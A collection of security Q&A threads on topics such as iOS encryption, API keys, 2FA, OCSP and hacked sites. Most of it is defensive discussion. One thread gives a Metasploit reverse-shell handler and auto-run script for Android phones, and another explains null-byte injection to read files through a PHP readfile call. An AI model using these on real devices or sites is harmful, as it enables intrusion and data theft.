As for CC focusing more on methodology more than actual "security" keep in mind that infosec is more than just penetration testing.  It is a comprehensive examination of all of the tenants that are part of bringing a product through the lifecycle. This includes physical and logical security of the development environment, supply-chain security, HR hiring practices, development methodology, and obviously security evaluations of the product itself including a deep understanding of the design, architecture, functional specs, and -- in some cases -- a source code review.

In this regards, CC is similar to other evaluations.  Take a look at PCI-DSS (credit card handling): they have physical security, development processes, HR hiring, etc. in there as well.

I understand you want to stand out, and there are certain other evaluations that may be of more interest to you such as industry-based certifications (almost every industry has one), a recognized penetration test (if this is where you think you are weak), and even independent source code reviews.


Actions to take after suspect PDF was opened A colleague of mine opened a seemingly genuine PDF attached to an email. We run Office365 and normally malicious attachments are filtered out but this one slipped through. The PDF was opened on an iPhone and was password protected so it wasn't or seemed to be unopened. I'm leaning towards the idea that this attachment wasn't anything malicious but are there any steps we can take to ensure the host (iPhone) has not been compromised in any way?

Thanks for any advice

Except if you are a high profit organisation targeted by a highly sophisticated and well financed gov/cyber gang, or if the iPhone's OS is outdated and / or jailbreaked .. You have nothing to do since there are no actual risks, the latest known serious flaw that could be exploited is patched on iOS 9.3.5.


IPhone iOS 8.3 encryption security against physical access NB: While you are free to answer this question, there is a more specific discussion here

Excerpt from Apple's Whitepaper "iOS Security" on Effaceable Storage:

  A dedicated area of NAND storage, used to store cryptographic keys, that can be addressed
  directly and wiped securely. While it doesn’t provide protection if an attacker has physical
  possession of a device, keys held in Effaceable Storage can be used as part of a key
  hierarchy to facilitate fast wipe and forward security

Does this mean that the system encryption is useless against forensics? Or is it only vulnerable when it's locked and not turned off?

The question relates to iOS 8+ non-jailbroken Iphone 4s+.

EDIT:
this blog on forensic possiblities on locked devices running iOS 8.3 has interesting points:

  Turned on and with lockdown certificate
  You can create a local backup
  The same problem as the previous case applies if the user has previously set a backup password
  Be sure that the device keep charging during the backup process
  Turned off device and with lockdown certificate
  Use AFC protocol and recover the most information that you can, as explained in this article
  Turned on/off device without a lockdown certificate
  Only device information (name, UDID, etc.)

If I have correctly understood what a lockdown cert is it requires access to the computer used for Itunes communications with the IPhone. For this scenario, that PC is impenetrable.
SO, can someone confirm that a locked Iphone 4s iOS 8.3 cannot be cracked in the case of no access to lockdown certificate?
Furthermore, what if the same phone is powered off?

EDIT 2:
This site says

  If they don't have your computer, Zdziarski claimed they can try and generate a pairing record by tricking you into connecting to a compromised accessory, like a dock (juice jacking), and/or by using mobile device management (MDM) tools intended for the enterprise to get around safeguards like Apple's Trusted Device requestor.”

The purpose of Effaceable Storage is really to be able to quickly erase everything on the device, not to provide any confidentiality for your data. It works like this: Effaceable Storage stores a key (which is itself is encrypted with device-specific key) that is used to encrypt device's filesystem. When device needs to wipe itself (e.g. due to remote wipe command) it simply erases that key from Effaceable Storage. Data on the filesystem remains untouched, but because it's encrypted using the key that was stored in Effaceable Storage (but not anymore), that filesystem data effectively became cryptographically inaccessible.

  Does this mean that the system encryption is useless against
  forensics? Or is it only vulnerable when it's locked and not turned
  off?

Yes and no. Yes in the sense that protection provided by Effaceable Storage is useless against forensics (unless we're considering the possibility that remote wipe command can reach device while it's already in custody). No in the sense that there are additional layers of protection/encryption above that filesystem encryption, and those can be (and are) a considerable obstacle for forensics.

  SO, can someone confirm that a locked Iphone 4s iOS 8.3 cannot be
  cracked in the case of no access to lockdown certificate?

If that iPhone 4s is not jailbroken then there is no public tools that can get into it. Nobody can confirm that device cannot be "cracked" because, if nothing else, Apple can create a signed ramdisk that will obtain at least some of the data (that isn't protected by layers of encryption above Effaceable Storage, so to speak).

MDM scenario is only relevant if that device is enrolled with some MDM. Basically, in this case MDM has a "lockdown certificate" that can be used to access and decrypt data on the device, change passcode, etc.

Hope this helps.

UPDATE:

Powered down device is at least as secure as a powered up one. What really matters for iOS devices though is if the passcode has been entered at least once since device boot.

If it has been then number of encryption keys will remain in device memory but without a pairing record (aka 'lockdown certificate') or a jailbreak there's no way to exploit this AFAIK.

As for sources, this slides and this project are an excellent source of information on the subject.


Hash a secret API key with a random salt instead of sending sending it alone in REST API Say, I have an internal https API endpoint used only by me being the admin.
In each each request I send a secret API key for authentication. And I'm fine with this solution.

  curl -x PUT .......
  --header "X-My-Secret-Api-Key $my_secret_key"
  .....

In the body I send user's id and email as the payload.

Will it be more secure if I hash $my_secret_key with user's email?

  curl -x PUT .......
  --header "X-My-Secret-Api-Key SHA-256(${user_email}${my_secret_key})"
  .....

The idea is that even if "X-My-Secret-Api-Key" gets intercepted, an attacker then will get the secret key only for that particular user.
And will be able to send malisicous requests on behalf on  that user only and nobody else's.

And to be able to send requests on behalf on another user, an attacker will have to try to intercept "X-My-Secret-Api-Key" for that user also. And so on.

Is this a decent security improvement? Any downsides? Is this a known technique?

It is a good idea to move in the direction of least privilege authorization, so if use of an admin API involves impersonating specific users, there should be a credential that represents the specific user under impersonation.

That said, I would encourage consideration of practices other than taking a permanent admin key and hashing it with a permanent public user attribute to produce a user-specific credential. The most important weakness of that user-specific credential is that it is permanent.

Consider moving in the direction where individual actions are granted specific temporary credentials, so one is not doing any actual business with an admin key. So: create an API that takes the admin key and an action- like impersonate a user, though actions can include admin actions that are not user specific as well- and create a temporary token with only those privileges. Require the use of those limited privilege tokens and disallow the use of full-privilege admin key in any specific privileged operation.

There is of course a lot of prior art here, and lots of specific considerations that apply to specific situations, which one may or may not be inclined to dive into. Generally speaking, though, moving in the direction of the use of temporary credentials is better than constraining permanent credentials.

In sum:

Is this a known technique?

Yes, there are many ways to constrain a token for use in a specific circumstance. Can add the email address as another header and hash the secret/email pair. See also JWTs. Many, many permutations to achieve similar ends.

Is this a decent security improvement?

It is better to use a token with fewer capabilities than one with more, so, it represents an improvement, but as below, there are much better improvements, so while it is an improvement, it's not a decent improvement.

Any downsides?

The permanent nature of the tokens is undesirable. Someone who gets one user's token can presumably get other user tokens, and since they are based on permanent attributes- a permanent secret and the user email- they can be used by the attacker forever. Better to move in the direction of adopting time-limited tokens, which can also be constrained to permit only specific functions.


Is an emailed PIN for 2FA worthwhile? To log in to our web app, our security team is insisting on 2FA as it is hosted on our internal network.

The proposed solution is to have a standard username (email address) and password login, which will then trigger a four digit PIN emailed to the user which they will have to enter to log in.

To my mind that is two sides of the same coin (something the users knows) - using the email address, rather than sending the PIN to a phone number or a physical token.

Is this strictly 2FA? Is it just a negative experience to the user interrupting the login process flow in return for little gain in terms of security?

What you are describing is 2 factor authentication, whether it's the most secure of 2 factor authentication is a question for a security expert though.

Wikipedia does offer a great example of what 2FA is and i believe the step you mentioned would be classed as two 2FA.

  an automated teller machine (ATM) typically requires two-factor verification. To prove that users are who they claim to be, the system requires two items: an ATM smartcard (application of the possession factor) and the personal identification number (PIN) (application of the knowledge factor). In the case of a lost ATM card, the user's accounts are still safe; anyone who finds the card cannot withdraw money as they do not know the PIN. The same is true if the attacker has only knowledge of the PIN and does not have the card.
  From Wikipedia

In fact what you're proposing is very similar to how Steam authenticate users on new machines.

You login using your username and password
A verification email is sent to an already verified email address to confirm you want to allow access to your account from that machine.

Without access to both the knowledge factor (your username and password) and the possession factor (access to the email address) you cannot login on a new machine.

2FA isn't for everyone though so by default i think this should be turned off and you should encourage the user to activate the feature themselves.

Some users may not want the extra friction which comes with 2FA and some users may simply not value the security of their account higher than ease of login.

Edit: To answer your question...
It's not a bad experience IF they're not forced into 2FA and it depends entirely on their value for security over ease of login.


Statistical data about the performance of various encryption algorithms How can I find statistical data about the performance of various encryption systems, such as RSA, DSA, ECC etc?

If you are asking about the performance of various encryption algorithms, a good starting point can be obtained by running openssl speed.  For instance, here is sample output from OpenSSL:

                  sign    verify    sign/s verify/s
rsa 1024 bits 0.000489s 0.000025s   2046.5  39673.9
rsa 2048 bits 0.003075s 0.000089s    325.3  11241.0
                  sign    verify    sign/s verify/s
dsa 1024 bits 0.000256s 0.000291s   3899.0   3435.1
dsa 2048 bits 0.000880s 0.001048s   1136.3    954.2

You can see that RSA signature verification and RSA encryption operations are extremely fast (10K-40K operations/second, depending upon security level).  RSA signature generation and RSA decryption are slower (300-2K ops/sec).  DSA signature generation and signature verification both run at about the same speed (1K-3K ops/sec).

This benchmark doesn't show ECC cryptography, but generally speaking, you should expect ECC cryptography to be faster and yield shorter signatures/ciphertexts than DSA, for a given security level.


Does Gmail 2-factor auth increase security on smartphones? So I have enabled 2-factor authentication on Gmail, which means that if I log in on a new machine, it sends a token to my phone.

Now, if I access Gmail from my phone, it seems like I have only one factor left; my phone.

What would be the most secure way to access Gmail from my phone?

I'm thinking an app-specific password is the way to go, since if the phone gets stolen, I can revoke the password and the attacker has just the token.

You've hit on a bit of a sore point; using smart devices as something-you-have type credentials has some drawbacks.

As you point out, the smart device often plays an active part in the authentication process in addition to being the second factor credential. This is not so much a problem as it might first seem. The purpose of using your smart device as a something-you-have is so that the attacker must both steal the device and simultaneously have access to your password in order to gain access to your account. This is still true, even when the device is doing both parts of the authentication, but you're right to question it - particularly if you store the password on the device. In this case your dual-factor authentication becomes a single factor - the device.

The other reason smart devices make poor credentials is that they have a software stack, and they typically run third-party applications. In other words, they have malware. A smart device infected with malware is equivalent to a stolen smart device in terms of using it as a credential.

The malware can instigate the login, wait for and capture the incoming SMS/notification, and read out the second-factor code to complete the login. In the most extreme cases, this will happen without the user's knowledge.

So in summary, don't worry too much - the fact that you are aware of this issue is great, just make sure that the phone does not store the password or provide autologin - locking the app is not enough, as an attacker can still read off the stored password from the phone's hdd directly.

And when any real security is required, use hardware tokens that cannot be subverted, such as TOTP/HOTP tokens. That said, using the smart-device is much much better than having no second-factor at all.


Is this password scheme legit? I received an invitation for an IT security fair (https://www.it-sa.de/en).

They additionally delivered a password "Kryptonizer". That is a little card to hang on your keychain with the following (example values, my translation):

  It is often too easy for hackers to acquire personal information. The reason: Passwords that we can easily remember aren't cryptic. They are often common names or words like "Snowden" or "Admin". This card tries to fix this by making easy to remember passwords crpytic.

Input   Start  ABC  DEF  GHI  JKL  MNO  PQRS  TUV  WXYZ
Output  4uR=?  x    1    F    3    Y    i     #    9

Original version in german:

  Hintergrund: Passwort-Hackern wird der Zugang zu persönlichen Daten im
  Internet häufig viel zu leicht gemacht. Der Grund liegt auf der Hand:
  Passwörter, die wir uns merken können, sind meistens nicht besonders
  kryptisch, sondern orientieren sich an gängigen Namen oder Wörtern wie
  "Snowden" oder "Admin".

Everything from the output is random for every single card (66 different characters to choose from). Now we have to choose an "easy" password (they recommend at least 8 characters):

Input:  HELLOWORLD
Output: 4uR=?F133Y9Yi31

They also recommend to use this card for only one password and change it, if you lose the card.

Is this password scheme good? It comes from a big security fair with many experts.

My novice guess is, that you have a reduced entropy because of only 8 different characters (+ 1 start sequence), but as long as your card stays unknown, the attacker can't exploit this fact.

Full disclosure: I work for a company, which distributes such cards. This answer however is my own personal opinion of them.

The idea of these cards is that some users are just really bad at remembering passwords or pass phrases. The naïve approach would be to tell users "Just get better at remembering passwords", but experience has shown that such advice is counter-productive with some users.

Their memory seems to be hard-wired to only recall simple words, which probably have something to do with their work. So somebody working in a car factory may remember a word such as Engine.

Engine, of course, is a terrible password - both in length and entropy. So the "Kryptonizer" or similarly named cards try to add both of those.

Length is added by the prefix, 4uR=? in this case. It immediately increases the password length by 5 characters, bumping a 6 character password up to an 11 character password. Not perfect, but an improvement.

Entropy is added by substituting each character with a randomly chosen character. Not exactly a 1:1 substitution, but close enough. Since each card is unique, one can't build a pre-made rule on how to mangle each dictionary phrase.

In this example, Engine would turn into 4uR=?1YFFY1. Is this a good password? Probably not great, but certainly a lot better than Engine.

Problems with this scheme

Of course, it's not a perfect system. A good passphrase can't be replaced by a little paper card. Since three input characters map to one output character, the resulting password loses entropy instead of gaining it. The net entropy gain is that attackers can't use dictionary attacks as easily anymore. In order to do that, they would need to gain access to the mapping or perform an exhaustive search. If an attacker knows that such a card was used, they can use this to their advantage to speed up an exhaustive search.

Furthermore, users are expected to keep their card around, and many will probably leave it on their desk, under their keyboard or in similar bad locations. If they lose their card, they will probably lose their password too. They will need a new card, and change their password as well, which is not that good for usability.

Summary

So, is this a good system? Ultimately, I would say you have to judge it in the context of what it is designed to do. It's an aid for a specific group of users, who would otherwise use ungodly terrible passwords. And helping users choose marginally better passwords for a negligible cost is a good thing, in my opinion. Of course, it is not a silver bullet that magically solves the problem of credential storage and generation.

If possible, always use a password manager, let it generate long, high-entropy passwords and store them for you in a safe manner.

If this is not possible (e.g. for OS logins), I recommend either using Diceware or creating a long, nonsensical sentence, such as TheGreenLightFromOurEyesShinesThroughTheMirrorOfTime.. Just ensure that such a sentence isn't taken from a book or movie.


Are sessions enough to protect a web app Imagine this scenario:

SQL record is created for user
record ID is stored in session
SQL record can be updated where session ID = SQL ID
user can view data in SQL record where session ID = SQL ID

Pretty straightforward no?!

Anyway, imagine user A (without any malicious intent) can view user B's data.

How on Earth could this happen?

If I understand you right... Imagine I spy on your Javascript inner-workings for a while. Imagine I am able to look for the following:

DeleteUserRecord()
UpdateUserRecord()

And in each, you're matching these IDs to the primary key in the database. For example, your code excutes this: DELETE [record] FROM [table] WHERE [id] = '1234', and your Javascript looks like this: DeleteUser(1234). What if I change it to 1? What if I delete every single user? What if I delete the first user, who could presumably be the admin?

Or what if I were allowed to update a single user's record, but I change the ID to 1 and make myself the admin? UpdateUser(1) instead of UpdateUser(1234)

Sounds like your code might be vulnerable to a direct object reference exploit.

All I need to do is tamper with your javascript request and you're TeH PwNz0rEd. Try reading this thread for a better explanation.


local environment development and HTTPS: interaction with Chrome requirement of CT logs The commonly suggested wisdom for local development environments with HTTPS is to use a self-created Root CA and use certificates issued from that CA. However, Chrome requires Certificate Transparancy since about a year now, with a warning for sites that don't have their certificate logged. How does this interact with self-created CAs and certificates issued from that CA that obviously aren't logged in CT logs? And if it shows a warning, is there a way to avoid it?

From Announcement: Requiring Certificate Transparency ...:

  This past week at the 39th meeting of the CA/Browser Forum, the Chrome team announced plans that publicly trusted website certificates issued in October 2017 or later will be expected to comply with Chrome’s Certificate Transparency policy in order to be trusted by Chrome.

Thus, the requirement for CT is only for certificates issued by public CA. CT is not required for certificates issued by private CA.


Tracing The Source Of IDS/IPS Alerts This may be more of a routing question than a security one but I am asking for the reason of security.

I monitor an IPS on a remote network and there have been high alerts triggered recently that match stings within web pages that various users access throughout the day. I have looked into a few packets and seen that certain strings suggest the user is accessing sites such as Twitter and Expedia, sites which seem unlikely to contain malicious code.

I want to be able to find the original web page from which the string matched the signature to look for myself, but this is where I fall short.

When I perfom a tracert from the remote network to each of the destinations in question there are 5 hops through the same path and the final hop is the destination I specified to trace.

So my question is -

why does the packet not contain information pertaining to the true source of the information encapsulated within it?

Packets do contain information about the source of the packet: the IP source address field contains the IP address of the source of the packet.  IP source addresses can be spoofed, but for TCP connections over a wired network, this kind of spoofing is generally more effort than most attackers are likely to go to.  Therefore, this IP address is generally reasonably reliable as the source of the packet, for TCP connections over wired networks.

Tracert doesn't seem to be of any obvious relevance here.  If you are getting the same path to several different hosts, maybe those hosts are all hosted on the same local network.  (Another possibility is that you have been infected with DNS hijacking malware, which redirects all DNS lookups to point you to a malicious proxy host.  A quick-and-dirty check for this by doing some DNS lookups on your system and on another totally independent system and seeing if you get the same answer.)

It sounds like the real question is you want to visit the web page yourself in your browser, and you're asking how to do that, given a packet trace.  First off, please be pretty careful about this: you could easily end up getting compromised.  Run your browser in a disposable VM, and throw away the VM after you've finished your investigation.

To visit the web page, you'll want to open up the packet capture in some packet analysis tool (e.g., Wireshark), find the HTTP request, look at the destination IP address where that HTTP request was sent, and replay the request to that host and port.  Note that you may need to send the exact request exactly as it is: you may need the Host: header, if the site is usual virtual hosting, and you may need other headers to be right, if the malware hosting site is using referers or other headers to determine how to respond to the request.

You could try extracting the URL from the request (the hostname can usually be extracted from the Host: header, the URL path can be extracted from the GET line of the HTTP request), then opening that URL in your browser (in a throwaway VM, please).  As a quick-and-dirty check, this might suffice.

If you have a packet capture, there may be an even easier way.  If you open up the packet capture in Wireshark, Wireshark will decode the entire TCP connection, reassemble all the traffic, and show you the bytes sent in both directions.  You can use this to view the HTML source sent to your machines.

That said, I'd question whether any of this is a good use of your time.  I'm not sure what you expect to learn.  Usually, trying to trace through  the HTML/Javascript code of a web exploit is a waste of time.  You may have to dig through dozens of redirects and other steps, then de-obfuscate the code, and peer through pages of code to get an idea of what it's doing.  And once you've done that, what have you gained?  Basically, nothing much.  It's usually better to leave this analysis to the security/IDS companies, and focus your energies on things that will actually protect you: e.g., focus on ensuring that your end machines are running patched up-to-date browsers and other software.


How to check if my PC's HTTPS/TLS connection is monitored or a key-logger is installed? A few days ago, in the office, we were asked by our bosses to install a program. This was supposed to be an Antivirus program.

But after installing this program many of our colleagues have been facing some issues like a performance problem, application slow responsiveness, slow network connection.

We can't uninstall the problem. It asks for the password. We don't know that.
We can't stop this process. If we kill this from the task manager it restarts again.

I have a suspicion that it might be monitoring all of our actions like every keypress (keylogger).

We asked the management if we should worry about this they said nothing to be worried about.

We use this laptop to access our personal emails, facebook, bank account.
It will be a great violation of privacy if they are keylogging or somehow managed to monitor our SSL communication like HTTPS websites skype, facebooks messages

Is there any way to be sure of if they are doing anything like and confront them?

This was supposed to be an Antivirus program.

  But after installing this program many of our colleagues have been
  facing some issues like a performance problem, application slow
  responsiveness, slow network connection.

That is completely normal and expected behavior from many Antivirus programs, especially during scheduled scans.  In other words, those aren't reasons for you to say "Hey!  I think this might not be Antivirus!".

  We can't uninstall the problem. It asks for the password. We don't know that.

Also completely normal.  That's a standard feature to prevent users from turning off their protections in order to regain the performance they lost - and, incidentally, to make it harder for attackers to turn off the Antivirus to evade detection.

  We can't stop this process. If we kill this from the task manager it restarts again.

Again, completely normal, for the same reasons.

  I have a suspicion that it might be monitoring all of our actions like every keypress (keylogger).

Nothing you've indicated so far suggests this - keyloggers are usually far less intrusive than Antivirus programs.

  We use this laptop to access our personal emails, facebook, bank
  account. It will be a great violation of privacy if they are
  keylogging or somehow managed to monitor our SSL communication like
  HTTPS websites skype, facebooks messages

Depending on your location, it would be a violation of your privacy, but might still be completely legal.  In the US employers have the full right to monitor anything you do on the equipment and networks they provide for you to do work for them.

...but I really don't see anything here that suggests that.  Sounds like they just installed Antivirus.

  Is there any way to be sure of if they are doing anything like and confront them?

This question discusses detecting keyloggers, but the short version is, "not really."

This question discusses detecting corporate MITM, which usually boils down to examining the certificates of sites you visit, and checking your computer's Trusted Root Certificate Authorities.  This is relatively easy to detect; the modern (lovely) tendency to use TLS for everything increases transparency.


IP Address spoofing? According to:
https://secure.wikimedia.org/wikipedia/en/wiki/IP_address_spoofing

"this technique is mainly used when the attacker does not care about the response or the attacker has some way of guessing the response."

My Question is:
"or the attacker has some way of guessing the response"
?? How?

not counting that the machine behind the spoofed ip address is hacked by the attacker.

Sometimes the connection information inside a packet is predictable. TCP initial sequence numbers, for example, can be an issue if they are not random. See http://www.networkcomputing.com/unixworld/security/001.txt.html for one example. The same thing can also happen with DNS request ids.

Usually these attacks don't work on the first try, but will with several tries in quick succession. If you know that Bob just asked Alice where google.com resolves to, and you know the request id, you can tell Bob that it is your server by sending a packet that claims to be from Alice's IP address.


Do I need to password-protect an "Electronic Copy" of health information given to a patient on e-media? I'm struggling to find good documentation regarding requirements around security and encryption of patient clinical information when delivered to a patient in electronic format.  Patient portals, etc., implicitly have authentication.  However, what are the requirements, if any, with respect to encrypting and password-protecting a soft copy of clinical information handed to the patient on a CD, Thumb Drive, etc.?

In general, we have secure exchange and encryption/integrity checking.  So my question focuses more on what mandates exist for applying passwords, etc., to an electronic copy of this info.

Right now I'm exploring this topic in the context of implementing MU-compliant solutions to deliver electronic copies of patient clinical info upon request.  So this includes a full health record/ccd, a visit summary, discharge instructions, etc.

Thanks! (my first question posted, and have reviewed similar titles and didn't find a match for my inquiry)

I just received a notice from Google telling me that since the Google Health service will close on January 1, 2012, I should download my data and close my account.  Before the download started, it asked me to confirm this message:

  You have chosen to download your profile as ZIP. The downloaded file will include all data in your profile, including PDF, CCR, CSV, notices as XML, and files. This may take a few minutes to prepare and download, so please be patient.

  Your Google Health profile may contain sensitive information, including health records. If you download sensitive information to a shared or unsecured computer or device, others might see it. You are responsible for protecting the information that you download, and for deciding with whom to share it.

  Are you sure you want to download a copy of your personal health profile to the computer or device you are using?

I downloaded and opened the file. The PDF files were not encrypted, and they contain my name and date of birth, which would qualify as PII (personally identifiable information), and PHI (personal health information).

Now I am not a lawyer (although I have played one on TV ... long story), but I have to ask: if Google doesn't password-protect a PDF containing PII & PHI delivered digitally to the patient, why would anyone else be required to do so?


Programming Metasploit I try to make a Metasploit AutoRunScript for android. The First .rc file has this config

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx (my IP)
set LPORT 4545
set AutoRunScript multi_console_command -r /root/Desktop/commands.rc
exploit -j -z

This is the second .rc file (commands.rc)

upload /root/Desktop/and.sh /data/data/com.metasploit.stage/files
shell
cd /data/data/com.metasploit.stage/files
sh and.sh
exit

The problem is after the shell command is executed the sh and.sh and the exit commands are not executed. If I type manually the sh and.sh and the exit commands it's working. The question is how can I make this commands to be executed? Any suggestions are welcome and appreciated!

It's possible the shell is getting stuck once it gets dropped down.

Try running your command via the built in meterpreter shell command.

execute -i -f "/bin/bash /data/data/com.metasploit.stage/files/and.sh"

I have not tested this exact command with a space in it, but it will start you in the right direction.


How does Keybase.io work? I've recently found more interest in encryption and security concerning communication.

During my research I have found the website https://keybase.io/ . It seems like a storage for public keys but is apparently more than that.

So what exactly is Keybase.io and how does it work/how do I work with it?

Keybase.io provides a directory service that allows looking up public keys for accounts on other services that don't themselves support PGP, and whose account types are not recognized as UIDs on PGP.

For example, if I want to know the PGP key for a certain Twitter account, I can ask the keybase directory, which will respond with a text record that contains a phrase indicating this is a keybind, a Twitter handle and a key ID, as well as a link to a tweet that contains a signature over this data.

This is similar to the way UIDs are attached to PGP keys -- the master key signs a specially formatted message that contains the UID to be bound to the key. The main differences are that the binding is stored externally to the key (because there is no standard for Twitter handle UIDs), and that the signature is stored inside Twitter to provide verification that the owner of the Twitter account is really the key holder (where normal UIDs are signed by others).

This way, I can send a message to a Twitter user through an encrypted channel, although there is no integration into the Twitter service itself.

Because they allow direct messages of up to 10.000 characters, sending a PGP encrypted message through Twitter is certainly possible.

This is only good for sending messages to "the owner of an account" though, as no further verification is done. It could theoretically be attacked through Twitter itself altering the tweet so it matches an attacker's key, although the signature contained in the tweet is public, so it could be archived by third parties and manipulation thus detected.

The same goes for Github and the other services handled by Keybase.


Can you trace someone through picture header information? I learned that jpg, png, bmp and most image files contain headers and plain text in them. I decided to open a jpg file in Notepad and saw a bunch of information and I was wondering if there was a way to find out the origin of the computer it came from or some other information.

Modern Smart phones embed GPS coordinates into pictures. http://www.howtogeek.com/211427/how-to-see-exactly-where-a-photo-was-taken-and-keep-your-location-private/

This is often how sought out individuals are found and detained because they take photos with their phones unaware the photo contains the location as well.

It all depends on the software/hardware/individual/etc taking the photo. Yes, its very possible, and its being done today.


Security coding training best approach To train the development team, there are various options one can take: inhouse presentation with code samples, CBTs so developers do it at their best time, instructor-led courses onsite or inhouse (expensive), using knowledge bases like https://owasp.teammentor.net/teamMentor

We sent a developer to a very expensive course, he came back, but he is not suddenly an expert, and the rest did not benefit from his knowledge. I bet he has forgotten everything now.

I am wondering, how would you get the best results and engagement from developers? I can imagine if we give them a whole bunch videos and CBT to watch, they will not really take it seriously. Do you think assigning each developer a type of attack and asking them to research and find defense best practices and code samples and present to the rest would engage them or deter them?

There are a few things I've seen have good success.

Developer Standards - This would include things like libraries to use, encryption ciphers and strengths to use, information on testing for input sanitation, etc. The key here is to work very closely with the leaders in the development org.

As long as the data is up to date, accurate, and well put together it saves developers a lot of time. This will ensure your developers spend as little time thinking about pre-determined security configurations and can focus on the problem solving they really are there for. This is also very helpful in that it takes new developers less time to really get up to speed.

Hacking Challenges - These can take a lot of setting up, but as schroeder mentioned, challenging developers to solve puzzles can be a fun way for them to learn. You can put up a system that is vulnerable to some relatively common vulnerability, and challenge developers to get some type of data out they are not supposed to do. Which language/platform/os etc. depends a little on what it is your developers code in.

Static Analysis - Develop good static analysis tools, and expose results to your developers. Help them learn to interpret them so they can write more secure code. This is potentially a ton of work but pays off depending on how many developers you have to train up.

Security Champions - Just like with any other topic, some developers are more fascinated by security than others. Find these folks in your various teams, send them specific information, ensure they report strange security issues to you, etc. You could potentially help teach them more advanced use of security tools and give them at least a basic understanding of code auditing so they can help review their team's code. Give them t-shirts, little awards, and other recognition and always, always be sure to THANK them. :)


Do I need ossec for my personal home computer? Do I really need a HIDS like ossec, or will using good passwords, using a firewall, an  antivirus/antimalware program, and a rootkit scanner do the job well enough?

HIDS is very much overkill for a home PC unless you are doing something super-sensitive. More importantly though, HIDS is reactive and to react, you have to monitor it. So the HIDS app is only a part of the solution. You need event reporting and collation and you need both eyes on the output and a way to do something if you get an event. I've seen far too many security solutions implemented that are then ignored or only checked occasionally.

In reality, the best additional security you can put on a home PC or any PC really is something that only allows whitelisted applications to run. This massively reduces the attack surface of your PC and greatly increases the complexity of an attack.


Potential problem in public Maven repository Problem

This morning I found that, what I thought was one of our proprietary artifacts, had been published to a public repository:

http://repo.grails.org/grails/simple/codehaus-cache/com/

If you click on the link you see that there are tons of Artifacts from companies like Adobe, Amazon, AOL, BP, ... at least some of which don't look like they were intended for the public.

Navigating down to and downloading any artifact for example

http://repo.grails.org/grails/simple/codehaus-cache/com/aol/advertising/ad-notification-client/2.4.0/ad-notification-client-2.4.0-sources.jar

always yields an identical file of 1.33kb which is not actually a software artifact but an HTML file, and which has been published to the repository for the first time around 170 days ago.

What is also strange is that this repository should be a mirror/cache of yet another repository, but this other repository doesn't actually contain these artifacts,

The situation doesn't seem to be as bad as I thought, since no intellectual property seems to have been actually leaked, but nobody will be really happy with even having their internal project names be public.

Question

Can you help me make sense of this? Could it just be a bug in a version of the Gradle shell or in Artifactory? Could it be a malware related?

Codehaus was hacked, so repo.grails.org which proxies it, was filling up with the crap. We cleaned it up, tightened the checksum policy to fail the fetching if no valid checksum exists in the remote repo (codehaus) and enabled validation of the jar files integrity.


OCSP responseStatus, is it really useful? Based on RFC-6960 an OCSP Response should have the following as a minimum:

OCSPResponse ::= SEQUENCE {
  responseStatus         OCSPResponseStatus,
  responseBytes          [0] EXPLICIT ResponseBytes OPTIONAL }

Here responseStatus can be any one of the following:

OCSPResponseStatus ::= ENUMERATED {
   successful            (0),  -- Response has valid confirmations
   malformedRequest      (1),  -- Illegal confirmation request
   internalError         (2),  -- Internal error in issuer
   tryLater              (3),  -- Try again later
                               -- (4) is not used
   sigRequired           (5),  -- Must sign the request
   unauthorized          (6)   -- Request unauthorized }

Given that OCSP based Certificate Revocation is used in fail-open mode because of the infrastructure reliability issues, does it even make sense to check the responseStatus field at all? Should we just not check it?

I would also appreciate example use cases for this field. How is it being used by people - what are the gains? Performance? Security?

Point to note is that responseStatus field is not a part of the OCSP Response that is signed by the CA (or the responder's certificate) making it vulnerable to tampering. An MITM can potentially tamper this field and alter it to anything but Successful and cause the target client to fail-open.

Another point to note - this can be a DoS candidate for clients configured in fail-close, I am just not considering it in the threat model. The attack I am considering is where the attacker can cause a client to disregard a valid, successful OCSP Response with certificate status REVOKED.

EDIT - My intention is not to suggest to protect the responseStatus field, rather it is to potentially not consider it at all.

I understand your concerns, but they unlikely related to your threat model.

  An MITM can potentially tamper this field and alter it to anything but Successful and cause the target client to fail-open.

MITM can tamper even signed content and client will reject the response because of invalid signature. Moving response status under signed block -- doesn't prevent from DoS. Thus:

  The attack I am considering is where the attacker can cause a client to disregard a valid, successful OCSP Response with certificate status REVOKED.

The result will be the same. OCSP response structure has nothing to do with DoS and can't prevent it in any way.

  does it even make sense to check the responseStatus field at all?

I think, it is. Basically, this field says whether there is response body or not. If not, what are potential reasons for empty response body. This is why this field is not authenticated, because response body may be absent.

Like it was already said, MITM can modify any bit in response (authenticated or non-authenticated) and response will become invalid and RevocationOffline message will be returned by OCSP client for this particular request.

To summarize: message signing or encryption doesn't prevent from DoS.


Bluehost Wordpress Site hacked multiple times FTP MMprobe php file Anyone have experience and advice to locate the source and stop an ftp hack on my client's Wordpress site hosted on BlueHost? The hackers were able to do the following:

Create multiple ftp accounts with usernames like ss-ee4f8275917dfe28 etc. pointing to folders /tmp/simplescripts/ and /public_html/
Upload php files with names like MMprobe-N5ayJ.php into the public_html folder

The best scenario would be to take the last backup of the website and just re-create it fresh on a new server. You should contact their support for help. There could possibly be rootkits and other hidden stuff inside your application files, which could take a lot of time to weed out.

To prevent FTP attacks

use latest FTP service version
use strong username, password
setup fail2ban on FTP to prevent brute-force attacks


Exploiting the PHP readfile function when a filename is appended to the path I would like to ask a question about exploiting the PHP function readfile.
So I'm geting payed for hacking a site, and I need to read a PHO file named readme.php through a PHP file named read.php, that contains the following code:

<?php
$path = $_GET['p'];
readfile("pages/$path/index.html");
?>

So I can't read the readme.php file because it automatically adds the /index.html. In this case, is there a way to read the PHP file?

Beside PHP is interpreted, version <= to PHP 5.3.4 are vulnerable to an attack commonly call null byte injection.

To declare a string in php, you use $var = "hey" which is then equivalent in C to char tab[4]="hey". Notice that we declared a 4 bytes array of characters while we only want to store 3 characters. This is because compiler automatically insert the null byte character. Your final string is then hey\0

tab is a pointer which point on the first character of your string. Your computer will read from the first character to the null byte character (0 in hexadecimal) represented by \0.

%00 is the representation of the null byte character in PHP.

When you are calling a function with a string, like readfile("pages/$path/index.html");, your string get stored in a variable. Let's call it $tmp=pages/pathFromVariable/index.html which in reality will be stored in memory as pages/pathFromVariable/index.html\0

Now, if you inject null byte at the end of your input, you can erase the end of the string. for example, if $tmp=pages/pathFromVariable%00/index.html it will be stored as pages/pathFromVariable\0/index.html\0 which will result into reading the file pages/pathFromVariable ! Pwned !